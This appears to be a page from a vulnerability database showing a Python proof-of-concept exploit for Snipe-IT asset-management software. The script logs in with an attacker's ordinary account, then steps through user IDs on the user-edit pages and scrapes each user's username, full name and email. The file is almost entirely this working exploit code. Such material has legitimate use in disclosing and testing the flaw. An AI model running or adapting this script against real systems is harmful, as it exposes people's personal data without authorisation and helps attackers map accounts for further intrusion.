5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / list_users.py PY
import requests
from bs4 import BeautifulSoup
import argparse
import sys

# Configuration
BASE_URL = "http://localhost:8000"
LOGIN_URL = f"{BASE_URL}/login"

print("""
                                                              
 ▄▄▄▄▄▄▄                             ▄▄▄                      
█████▀▀▀       ▀▀                    ███      ▀▀         ██   
 ▀████▄  ████▄ ██  ████▄ ▄█▀█▄ ████▄ ███      ██  ▄█▀▀▀ ▀██▀▀ 
   ▀████ ██ ██ ██  ██ ██ ██▄█▀ ██ ▀▀ ███      ██  ▀███▄  ██   
███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██    ████████ ██▄ ▄▄▄█▀  ██   
                   ██                                         
                   ▀▀                                         
""")

print("Snipe-IT User Enum (Web Scraping)")
print("\n")


def parse_args():
    parser = argparse.ArgumentParser(description="Snipe-IT User Enum (Web Scraping)")
    
    # Attacker Credentials
    parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account")
    parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account")
    parser.add_argument("--max-id", type=int, default=100, help="Maximum User ID to check (default: 100)")
    
    return parser.parse_args()

def login(args):
    session = requests.Session()
    
    # 1 get the login page to fetch CSRF token
    print(f"Fetching login page: {LOGIN_URL}")
    try:
        response = session.get(LOGIN_URL)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching login page: {e}")
        return None

    soup = BeautifulSoup(response.text, 'html.parser')
    token_input = soup.find('input', {'name': '_token'})
    
    if not token_input:
        print("Could not find CSRF token on login page.")
        return None
        
    csrf_token = token_input['value']
    print(f"Token CSRF found: {csrf_token}")

    # 2 login
    payload = {
        '_token': csrf_token,
        'username': args.attacker_username,
        'password': args.attacker_password
    }
    
    print(f"Attempting login as {args.attacker_username}")
    try:
        response = session.post(LOGIN_URL, data=payload, allow_redirects=True)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Error during login POST: {e}")
        return None

    # 3 verify login success
    if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text:
        print("Login successful!")
        return session
    else:
        print("Login failed. Check credentials or response.")
        return None

def list_users(session, max_id):
    print(f"\nEnumerating users via Web Scraping (ID 1 to {max_id})...\n")
    print(f"{'ID':<5} | {'Username':<20} | {'Name':<30} | {'Email':<30}")
    print("-" * 90)
    
    consecutive_failures = 0
    
    for user_id in range(1, max_id + 1):
        url = f"{BASE_URL}/users/{user_id}/edit"
        try:
            response = session.get(url)
            
            if response.status_code == 200:
                soup = BeautifulSoup(response.text, 'html.parser')
                
                # find the username input field
                username_input = soup.find('input', {'name': 'username'})
                
                if username_input:
                    consecutive_failures = 0
                    username = username_input.get('value', 'N/A')
                    
                    # find other fields
                    first_name = soup.find('input', {'name': 'first_name'})
                    last_name = soup.find('input', {'name': 'last_name'})
                    email_input = soup.find('input', {'name': 'email'})
                    
                    f_name = first_name.get('value', '') if first_name else ''
                    l_name = last_name.get('value', '') if last_name else ''
                    full_name = f"{f_name} {l_name}".strip()
                    email = email_input.get('value', 'N/A') if email_input else 'N/A'
                    
                    print(f"{user_id:<5} | {username:<20} | {full_name:<30} | {email:<30}")
                else:
                    # Page loaded but no username field (maybe permission denied page or 404 handled gracefully)
                    # print(f"[-] ID {user_id}: No data found (Permission denied or invalid ID)")
                    consecutive_failures += 1
            else:
                # print(f"[-] ID {user_id}: HTTP {response.status_code}")
                consecutive_failures += 1
                
            if consecutive_failures >= 5:
                print("-" * 90)
                print(f"\nStopping after {consecutive_failures} consecutive failures.")
                break
                
        except Exception as e:
            print(f"Error checking ID {user_id}: {e}")

    print("-" * 90)

if __name__ == "__main__":
    args = parse_args()
    session = login(args)
    
    if session:
        list_users(session, args.max_id)